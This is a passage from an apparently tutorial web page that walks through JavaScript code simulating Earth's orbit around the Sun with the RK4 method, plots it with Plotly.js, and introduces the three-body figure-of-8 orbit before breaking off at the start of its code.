<span class="kd">const</span><span class="w"> </span><span class="nx">v0</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">Math</span><span class="p">.</span><span class="nx">sqrt</span><span class="p">(</span><span class="nx">G</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">Msun</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="nx">AU</span><span class="p">);</span><span class="w"> </span><span class="c1">// SI</span>

<span class="kd">function</span><span class="w"> </span><span class="nx">dR</span><span class="p">(</span><span class="nx">r</span><span class="p">,</span><span class="w"> </span><span class="nx">v</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">  </span><span class="kd">const</span><span class="w"> </span><span class="nx">dv</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="o">-</span><span class="nx">G</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">Msun</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="nb">Math</span><span class="p">.</span><span class="nx">pow</span><span class="p">(</span><span class="nx">r</span><span class="p">[</span><span class="mf">0</span><span class="p">]</span><span class="w"> </span><span class="o">**</span><span class="w"> </span><span class="mf">2</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">r</span><span class="p">[</span><span class="mf">1</span><span class="p">]</span><span class="w"> </span><span class="o">**</span><span class="w"> </span><span class="mf">2</span><span class="p">,</span><span class="w"> </span><span class="mf">3</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="mf">2</span><span class="p">)</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">r</span><span class="p">[</span><span class="mf">0</span><span class="p">],</span><span class="w"> </span><span class="o">-</span><span class="nx">G</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">Msun</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="nb">Math</span><span class="p">.</span><span class="nx">pow</span><span class="p">(</span><span class="nx">r</span><span class="p">[</span><span class="mf">0</span><span class="p">]</span><span class="w"> </span><span class="o">**</span><span class="w"> </span><span class="mf">2</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">r</span><span class="p">[</span><span class="mf">1</span><span class="p">]</span><span class="w"> </span><span class="o">**</span><span class="w"> </span><span class="mf">2</span><span class="p">,</span><span class="w"> </span><span class="mf">3</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="mf">2</span><span class="p">)</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">r</span><span class="p">[</span><span class="mf">1</span><span class="p">]];</span>
<span class="w">  </span><span class="kd">const</span><span class="w"> </span><span class="nx">dr</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[...</span><span class="nx">v</span><span class="p">];</span>
<span class="w">  </span><span class="k">return</span><span class="w"> </span><span class="p">[</span><span class="nx">dr</span><span class="p">,</span><span class="w"> </span><span class="nx">dv</span><span class="p">];</span>
<span class="p">}</span>

<span class="c1">// initialize system</span>
<span class="kd">let</span><span class="w"> </span><span class="nx">r</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="o">-</span><span class="nx">AU</span><span class="p">,</span><span class="w"> </span><span class="mf">0</span><span class="p">];</span>
<span class="kd">const</span><span class="w"> </span><span class="nx">theta</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">Math</span><span class="p">.</span><span class="nx">atan2</span><span class="p">(</span><span class="nx">r</span><span class="p">[</span><span class="mf">1</span><span class="p">],</span><span class="w"> </span><span class="nx">r</span><span class="p">[</span><span class="mf">0</span><span class="p">]);</span>
<span class="kd">let</span><span class="w"> </span><span class="nx">v</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="o">-</span><span class="nx">v0</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nb">Math</span><span class="p">.</span><span class="nx">sin</span><span class="p">(</span><span class="nx">theta</span><span class="p">),</span><span class="w"> </span><span class="nx">v0</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nb">Math</span><span class="p">.</span><span class="nx">cos</span><span class="p">(</span><span class="nx">theta</span><span class="p">)];</span>

<span class="kd">const</span><span class="w"> </span><span class="nx">t</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">Array</span><span class="p">.</span><span class="kr">from</span><span class="p">({</span><span class="w"> </span><span class="nx">length</span><span class="o">:</span><span class="w"> </span><span class="mf">1001</span><span class="w"> </span><span class="p">},</span><span class="w"> </span><span class="p">(</span><span class="nx">_</span><span class="p">,</span><span class="w"> </span><span class="nx">i</span><span class="p">)</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="nx">i</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="mf">100</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mf">0.0</span><span class="p">);</span><span class="w"> </span><span class="c1">// years</span>
<span class="kd">const</span><span class="w"> </span><span class="nx">yearSec</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">365</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="mf">24</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="mf">3600</span><span class="p">;</span>
<span class="kd">const</span><span class="w"> </span><span class="nx">dt</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="nx">t</span><span class="p">[</span><span class="mf">1</span><span class="p">]</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="nx">t</span><span class="p">[</span><span class="mf">0</span><span class="p">])</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">yearSec</span><span class="p">;</span><span class="w"> </span><span class="c1">// s</span>
<span class="kd">const</span><span class="w"> </span><span class="nx">x4Plot</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">Array</span><span class="p">.</span><span class="kr">from</span><span class="p">({</span><span class="w"> </span><span class="nx">length</span><span class="o">:</span><span class="w"> </span><span class="nx">t</span><span class="p">.</span><span class="nx">length</span><span class="w"> </span><span class="p">},</span><span class="w"> </span><span class="p">()</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="mf">0</span><span class="p">);</span>
<span class="kd">const</span><span class="w"> </span><span class="nx">y4Plot</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">Array</span><span class="p">.</span><span class="kr">from</span><span class="p">({</span><span class="w"> </span><span class="nx">length</span><span class="o">:</span><span class="w"> </span><span class="nx">t</span><span class="p">.</span><span class="nx">length</span><span class="w"> </span><span class="p">},</span><span class="w"> </span><span class="p">()</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="mf">0</span><span class="p">);</span>

<span class="c1">// integrate using RK4!</span>
<span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="kd">let</span><span class="w"> </span><span class="nx">i</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0</span><span class="p">;</span><span class="w"> </span><span class="nx">i</span><span class="w"> </span><span class="o">&lt;</span><span class="w"> </span><span class="nx">t</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span><span class="w"> </span><span class="nx">i</span><span class="o">++</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">  </span><span class="kd">const</span><span class="w"> </span><span class="nx">k1</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">dR</span><span class="p">(</span><span class="nx">r</span><span class="p">,</span><span class="w"> </span><span class="nx">v</span><span class="p">).</span><span class="nx">map</span><span class="p">(</span><span class="nx">x</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="nx">x</span><span class="p">.</span><span class="nx">map</span><span class="p">(</span><span class="nx">y</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="nx">y</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">dt</span><span class="p">));</span>
<span class="w">  </span><span class="kd">const</span><span class="w"> </span><span class="nx">k2</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">dR</span><span class="p">(</span><span class="nx">r</span><span class="p">.</span><span class="nx">map</span><span class="p">((</span><span class="nx">ri</span><span class="p">,</span><span class="w"> </span><span class="nx">j</span><span class="p">)</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="nx">ri</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">k1</span><span class="p">[</span><span class="mf">0</span><span class="p">][</span><span class="nx">j</span><span class="p">]</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="mf">2</span><span class="p">),</span><span class="w"> </span><span class="nx">v</span><span class="p">.</span><span class="nx">map</span><span class="p">((</span><span class="nx">vi</span><span class="p">,</span><span class="w"> </span><span class="nx">j</span><span class="p">)</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="nx">vi</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">k1</span><span class="p">[</span><span class="mf">1</span><span class="p">][</span><span class="nx">j</span><span class="p">]</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="mf">2</span><span class="p">)).</span><span class="nx">map</span><span class="p">(</span><span class="nx">x</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="nx">x</span><span class="p">.</span><span class="nx">map</span><span class="p">(</span><span class="nx">y</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="nx">y</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">dt</span><span class="p">));</span>
<span class="w">  </span><span class="kd">const</span><span class="w"> </span><span class="nx">k3</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">dR</span><span class="p">(</span><span class="nx">r</span><span class="p">.</span><span class="nx">map</span><span class="p">((</span><span class="nx">ri</span><span class="p">,</span><span class="w"> </span><span class="nx">j</span><span class="p">)</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="nx">ri</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">k2</span><span class="p">[</span><span class="mf">0</span><span class="p">][</span><span class="nx">j</span><span class="p">]</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="mf">2</span><span class="p">),</span><span class="w"> </span><span class="nx">v</span><span class="p">.</span><span class="nx">map</span><span class="p">((</span><span class="nx">vi</span><span class="p">,</span><span class="w"> </span><span class="nx">j</span><span class="p">)</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="nx">vi</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">k2</span><span class="p">[</span><span class="mf">1</span><span class="p">][</span><span class="nx">j</span><span class="p">]</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="mf">2</span><span class="p">)).</span><span class="nx">map</span><span class="p">(</span><span class="nx">x</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="nx">x</span><span class="p">.</span><span class="nx">map</span><span class="p">(</span><span class="nx">y</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="nx">y</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">dt</span><span class="p">));</span>
<span class="w">  </span><span class="kd">const</span><span class="w"> </span><span class="nx">k4</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">dR</span><span class="p">(</span><span class="nx">r</span><span class="p">.</span><span class="nx">map</span><span class="p">((</span><span class="nx">ri</span><span class="p">,</span><span class="w"> </span><span class="nx">j</span><span class="p">)</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="nx">ri</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">k3</span><span class="p">[</span><span class="mf">0</span><span class="p">][</span><span class="nx">j</span><span class="p">]),</span><span class="w"> </span><span class="nx">v</span><span class="p">.</span><span class="nx">map</span><span class="p">((</span><span class="nx">vi</span><span class="p">,</span><span class="w"> </span><span class="nx">j</span><span class="p">)</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="nx">vi</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">k3</span><span class="p">[</span><span class="mf">1</span><span class="p">][</span><span class="nx">j</span><span class="p">])).</span><span class="nx">map</span><span class="p">(</span><span class="nx">x</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="nx">x</span><span class="p">.</span><span class="nx">map</span><span class="p">(</span><span class="nx">y</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="nx">y</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">dt</span><span class="p">));</span>
<span class="w">  </span><span class="nx">r</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">r</span><span class="p">.</span><span class="nx">map</span><span class="p">((</span><span class="nx">ri</span><span class="p">,</span><span class="w"> </span><span class="nx">j</span><span class="p">)</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="nx">ri</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="p">(</span><span class="nx">k1</span><span class="p">[</span><span class="mf">0</span><span class="p">][</span><span class="nx">j</span><span class="p">]</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mf">2</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">k2</span><span class="p">[</span><span class="mf">0</span><span class="p">][</span><span class="nx">j</span><span class="p">]</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mf">2</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">k3</span><span class="p">[</span><span class="mf">0</span><span class="p">][</span><span class="nx">j</span><span class="p">]</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">k4</span><span class="p">[</span><span class="mf">0</span><span class="p">][</span><span class="nx">j</span><span class="p">])</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="mf">6</span><span class="p">);</span>
<span class="w">  </span><span class="nx">v</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">v</span><span class="p">.</span><span class="nx">map</span><span class="p">((</span><span class="nx">vi</span><span class="p">,</span><span class="w"> </span><span class="nx">j</span><span class="p">)</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="nx">vi</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="p">(</span><span class="nx">k1</span><span class="p">[</span><span class="mf">1</span><span class="p">][</span><span class="nx">j</span><span class="p">]</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mf">2</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">k2</span><span class="p">[</span><span class="mf">1</span><span class="p">][</span><span class="nx">j</span><span class="p">]</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mf">2</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">k3</span><span class="p">[</span><span class="mf">1</span><span class="p">][</span><span class="nx">j</span><span class="p">]</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">k4</span><span class="p">[</span><span class="mf">1</span><span class="p">][</span><span class="nx">j</span><span class="p">])</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="mf">6</span><span class="p">);</span>
<span class="w">  </span><span class="nx">x4Plot</span><span class="p">[</span><span class="nx">i</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">r</span><span class="p">[</span><span class="mf">0</span><span class="p">];</span>
<span class="w">  </span><span class="nx">y4Plot</span><span class="p">[</span><span class="nx">i</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">r</span><span class="p">[</span><span class="mf">1</span><span class="p">];</span>
<span class="p">}</span>

<span class="c1">// make data for plot</span>
<span class="kd">var</span><span class="w"> </span><span class="nx">sun</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nx">x</span><span class="o">:</span><span class="w"> </span><span class="mf">0</span><span class="p">,</span><span class="w"> </span><span class="nx">y</span><span class="o">:</span><span class="w"> </span><span class="mf">0</span><span class="w"> </span><span class="p">};</span>
<span class="kd">const</span><span class="w"> </span><span class="nx">earth</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nx">x</span><span class="o">:</span><span class="w"> </span><span class="nx">x4Plot</span><span class="p">.</span><span class="nx">map</span><span class="p">(</span><span class="nx">x</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="nx">x</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="nx">AU</span><span class="p">),</span><span class="w"> </span><span class="nx">y</span><span class="o">:</span><span class="w"> </span><span class="nx">y4Plot</span><span class="p">.</span><span class="nx">map</span><span class="p">(</span><span class="nx">y</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="nx">y</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="nx">AU</span><span class="p">)</span><span class="w"> </span><span class="p">};</span>
<span class="kd">const</span><span class="w"> </span><span class="nx">circle</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nx">x</span><span class="o">:</span><span class="w"> </span><span class="nb">Array</span><span class="p">.</span><span class="kr">from</span><span class="p">({</span><span class="w"> </span><span class="nx">length</span><span class="o">:</span><span class="w"> </span><span class="mf">1001</span><span class="w"> </span><span class="p">},</span><span class="w"> </span><span class="p">(</span><span class="nx">_</span><span class="p">,</span><span class="w"> </span><span class="nx">i</span><span class="p">)</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="nb">Math</span><span class="p">.</span><span class="nx">cos</span><span class="p">(</span><span class="nx">i</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="mf">100</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="mf">2</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nb">Math</span><span class="p">.</span><span class="nx">PI</span><span class="p">)),</span><span class="w"> </span><span class="nx">y</span><span class="o">:</span><span class="w"> </span><span class="nb">Array</span><span class="p">.</span><span class="kr">from</span><span class="p">({</span><span class="w"> </span><span class="nx">length</span><span class="o">:</span><span class="w"> </span><span class="mf">1001</span><span class="w"> </span><span class="p">},</span><span class="w"> </span><span class="p">(</span><span class="nx">_</span><span class="p">,</span><span class="w"> </span><span class="nx">i</span><span class="p">)</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="nb">Math</span><span class="p">.</span><span class="nx">sin</span><span class="p">(</span><span class="nx">i</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="mf">100</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="mf">2</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nb">Math</span><span class="p">.</span><span class="nx">PI</span><span class="p">))</span><span class="w"> </span><span class="p">};</span>
</code></pre>
</div>

<p>This code simulates the orbit of Earth around the Sun, using a numerical method called the Runge-Kutta 4th order (RK4) method.</p>

<p>First, we define some constants:</p>

<p>G: the gravitational constant (6.67e-11 N m²/kg²)
Msun: the mass of the Sun (2e30 kg)
AU: an astronomical unit, the average distance between Earth and Sun (1.5e11 m)
v0: the initial velocity of Earth, calculated from its distance to the Sun
Next, the function dR takes the position r and velocity v of Earth as input and returns the rate of change in position (dr) and the rate of change in velocity (dv) using the gravitational force formula.</p>

<p>We then initialize the position r and velocity v of Earth, and create an array t that represents time in years, divided into 1001 steps. We also define yearSec as the number of seconds in a year and dt as the time step in seconds.</p>

<p>Now, we integrate the Earth's motion using the RK4 method. For each time step, we calculate the rates of change for position and velocity (k1, k2, k3, k4) and update Earth's position and velocity based on these. We store the updated position in x4Plot and y4Plot.</p>

<p>Finally, we normalize the position data by dividing it by the astronomical unit (AU) to make it more visually meaningful. We also create a circle for reference, which represents a perfect circular orbit. The code ends with the data for the Sun's position, Earth's orbit, and the reference circle ready to be plotted.</p>

<h3 id="plotting-the-orbit">Plotting the orbit</h3>

<p>Now that we have the data for the Sun's position, Earth's orbit, and the reference circle, we can plot them using Plotly.js.</p>

<div class="codehilite">
<pre><span></span><code><span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="nx">traceSun</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span>
<span class="w">      </span><span class="nx">x</span><span class="o">:</span><span class="w"> </span><span class="p">[</span><span class="nx">sun</span><span class="p">.</span><span class="nx">x</span><span class="p">],</span>
<span class="w">      </span><span class="nx">y</span><span class="o">:</span><span class="w"> </span><span class="p">[</span><span class="nx">sun</span><span class="p">.</span><span class="nx">y</span><span class="p">],</span>
<span class="w">      </span><span class="nx">mode</span><span class="o">:</span><span class="w"> </span><span class="s2">&quot;markers&quot;</span><span class="p">,</span>
<span class="w">      </span><span class="nx">marker</span><span class="o">:</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="nx">symbol</span><span class="o">:</span><span class="w"> </span><span class="s2">&quot;star&quot;</span><span class="p">,</span>
<span class="w">        </span><span class="nx">size</span><span class="o">:</span><span class="w"> </span><span class="mf">10</span><span class="p">,</span>
<span class="w">        </span><span class="nx">color</span><span class="o">:</span><span class="w"> </span><span class="s2">&quot;gold&quot;</span><span class="p">,</span>
<span class="w">      </span><span class="p">},</span>
<span class="w">      </span><span class="nx">name</span><span class="o">:</span><span class="w"> </span><span class="s2">&quot;Sun&quot;</span><span class="p">,</span>
<span class="w">    </span><span class="p">};</span>

<span class="w">    </span><span class="kd">const</span><span class="w"> </span><span class="nx">traceEarth</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span>
<span class="w">      </span><span class="nx">x</span><span class="o">:</span><span class="w"> </span><span class="nx">earth</span><span class="p">.</span><span class="nx">x</span><span class="p">,</span>
<span class="w">      </span><span class="nx">y</span><span class="o">:</span><span class="w"> </span><span class="nx">earth</span><span class="p">.</span><span class="nx">y</span><span class="p">,</span>
<span class="w">      </span><span class="nx">mode</span><span class="o">:</span><span class="w"> </span><span class="s2">&quot;lines&quot;</span><span class="p">,</span>
<span class="w">      </span><span class="nx">line</span><span class="o">:</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="nx">color</span><span class="o">:</span><span class="w"> </span><span class="s2">&quot;white&quot;</span>
<span class="w">      </span><span class="p">},</span>
<span class="w">      </span><span class="nx">name</span><span class="o">:</span><span class="w"> </span><span class="s2">&quot;Earth&quot;</span><span class="p">,</span>
<span class="w">    </span><span class="p">};</span>

<span class="w">    </span><span class="kd">const</span><span class="w"> </span><span class="nx">traceOrbit</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span>
<span class="w">      </span><span class="nx">x</span><span class="o">:</span><span class="w"> </span><span class="nx">circle</span><span class="p">.</span><span class="nx">x</span><span class="p">,</span>
<span class="w">      </span><span class="nx">y</span><span class="o">:</span><span class="nx">circle</span><span class="p">.</span><span class="nx">y</span><span class="p">,</span>
<span class="w">      </span><span class="nx">mode</span><span class="o">:</span><span class="w"> </span><span class="s2">&quot;lines&quot;</span><span class="p">,</span>
<span class="w">      </span><span class="nx">line</span><span class="o">:</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="nx">color</span><span class="o">:</span><span class="w"> </span><span class="s2">&quot;crimson&quot;</span><span class="p">,</span>
<span class="w">        </span><span class="nx">dash</span><span class="o">:</span><span class="w"> </span><span class="s2">&quot;dash&quot;</span>
<span class="w">      </span><span class="p">},</span>
<span class="w">      </span><span class="nx">name</span><span class="o">:</span><span class="w"> </span><span class="s2">&quot;1 AU Circle&quot;</span><span class="p">,</span>
<span class="w">    </span><span class="p">};</span>

<span class="w">    </span><span class="kd">const</span><span class="w"> </span><span class="nx">earthSunLayout</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span>
<span class="w">      </span><span class="nx">title</span><span class="o">:</span><span class="w"> </span><span class="s2">&quot;Earth-Sun Orbit&quot;</span><span class="p">,</span>
<span class="w">      </span><span class="nx">xaxis</span><span class="o">:</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="nx">title</span><span class="o">:</span><span class="w"> </span><span class="s2">&quot;x [AU]&quot;</span><span class="p">,</span>
<span class="w">        </span><span class="nx">range</span><span class="o">:</span><span class="w"> </span><span class="p">[</span><span class="o">-</span><span class="mf">1.1</span><span class="p">,</span><span class="mf">1.1</span><span class="p">],</span>
<span class="w">        </span><span class="nx">showgrid</span><span class="o">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span>
<span class="w">        </span><span class="nx">gridcolor</span><span class="o">:</span><span class="w"> </span><span class="s2">&quot;rgba(255,255,255,0.5)&quot;</span><span class="p">,</span>
<span class="w">        </span><span class="nx">gridwidth</span><span class="o">:</span><span class="w"> </span><span class="mf">1</span><span class="p">,</span>
<span class="w">        </span><span class="nx">zeroline</span><span class="o">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span>
<span class="w">        </span><span class="nx">tickmode</span><span class="o">:</span><span class="w"> </span><span class="s2">&quot;auto&quot;</span><span class="p">,</span>
<span class="w">        </span><span class="nx">nticks</span><span class="o">:</span><span class="w"> </span><span class="mf">5</span><span class="p">,</span>
<span class="w">      </span><span class="p">},</span>
<span class="w">      </span><span class="nx">yaxis</span><span class="o">:</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="nx">title</span><span class="o">:</span><span class="w"> </span><span class="s2">&quot;y [AU]&quot;</span><span class="p">,</span>
<span class="w">        </span><span class="nx">range</span><span class="o">:</span><span class="w"> </span><span class="p">[</span><span class="o">-</span><span class="mf">1.1</span><span class="p">,</span><span class="mf">1.1</span><span class="p">],</span>
<span class="w">        </span><span class="nx">showgrid</span><span class="o">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span>
<span class="w">        </span><span class="nx">gridcolor</span><span class="o">:</span><span class="w"> </span><span class="s2">&quot;rgba(255,255,255,0.5)&quot;</span><span class="p">,</span>
<span class="w">        </span><span class="nx">gridwidth</span><span class="o">:</span><span class="w"> </span><span class="mf">1</span><span class="p">,</span>
<span class="w">        </span><span class="nx">zeroline</span><span class="o">:</span><span class="w"> </span><span class="kc">false</span><span class="p">,</span>
<span class="w">        </span><span class="nx">tickmode</span><span class="o">:</span><span class="w"> </span><span class="s2">&quot;auto&quot;</span><span class="p">,</span>
<span class="w">        </span><span class="nx">nticks</span><span class="o">:</span><span class="w"> </span><span class="mf">5</span><span class="p">,</span>
<span class="w">      </span><span class="p">},</span>
<span class="w">      </span><span class="nx">margin</span><span class="o">:</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="nx">l</span><span class="o">:</span><span class="w"> </span><span class="mf">50</span><span class="p">,</span>
<span class="w">        </span><span class="nx">r</span><span class="o">:</span><span class="w"> </span><span class="mf">50</span><span class="p">,</span>
<span class="w">        </span><span class="nx">b</span><span class="o">:</span><span class="w"> </span><span class="mf">50</span><span class="p">,</span>
<span class="w">        </span><span class="nx">t</span><span class="o">:</span><span class="w"> </span><span class="mf">50</span><span class="p">,</span>
<span class="w">        </span><span class="nx">pad</span><span class="o">:</span><span class="w"> </span><span class="mf">4</span><span class="p">,</span>
<span class="w">      </span><span class="p">},</span>
<span class="w">      </span><span class="nx">paper_bgcolor</span><span class="o">:</span><span class="w"> </span><span class="s2">&quot;black&quot;</span><span class="p">,</span>
<span class="w">      </span><span class="nx">plot_bgcolor</span><span class="o">:</span><span class="w"> </span><span class="s2">&quot;black&quot;</span><span class="p">,</span>
<span class="w">    </span><span class="p">};</span>
<span class="w">    </span><span class="nx">Plotly</span><span class="p">.</span><span class="nx">newPlot</span><span class="p">(</span><span class="s2">&quot;plot&quot;</span><span class="p">,[</span><span class="nx">traceSun</span><span class="p">,</span><span class="nx">traceEarth</span><span class="p">,</span><span class="nx">traceOrbit</span><span class="p">],</span><span class="w"> </span><span class="nx">earthSunLayout</span><span class="p">);</span>
</code></pre>
</div>

<h2 id="figure-of-8-orbit">Figure of 8 orbit</h2>

<p>The figure of 8 solution[2] in the three-body problem refers to a unique and special trajectory where three celestial bodies (e.g., planets, stars) move in a figure of 8 shaped pattern around their mutual center of mass. This is special because it represents a stable and periodic solution to the three-body problem, which is known for its complexity and lack of general solutions.</p>

<p>In the figure of 8 solution, each of the three bodies follows the same looping path, but with a phase difference such that when one body is at one end of the loop, the other two are symmetrically positioned elsewhere along the path. The bodies maintain equal distances from each other throughout their motion, and their velocities and positions are perfectly balanced to maintain this periodic motion.</p>

<p>The figure of 8 is interesting because:</p>

<ul>
<li><p>It is a relatively stable solution, which means that the objects continue to follow the same looping path almost indefinitely.</p></li>
<li><p>It breaks down the notion that no simple periodic solutions exist for the three-body problem.</p></li>
<li><p>It looks cool!</p></li>
</ul>

<h3 id="show-me-the-code">Show me the code</h3>

<p>The code for this simulation is very similar to the Earth-Sun orbit simulation, except that we now have three bodies instead of two. We also use a different set of initial conditions to generate the figure of 8 orbit.</p>

<div class="codehilite">
<pre><span></span><code><span class="kd">function</span><span class="w"> </span><span class="nx">deltaR</span><span class="p">(</span><span class="nx">coords</span><span class="p">,</span><span class="w"> </span><span class="nx">masses</span><span class="p">,</span><span class="w"> </span><span class="nx">nBodies</span><span class="p">,</span><span class="w"> </span><span class="nx">G</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="nx">x</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">coords</span><span class="p">[</span><span class="mf">0</span><span class="p">];</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="nx">y</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">coords</span><span class="p">[</span><span class="mf">1</span><span class="p">];</span>
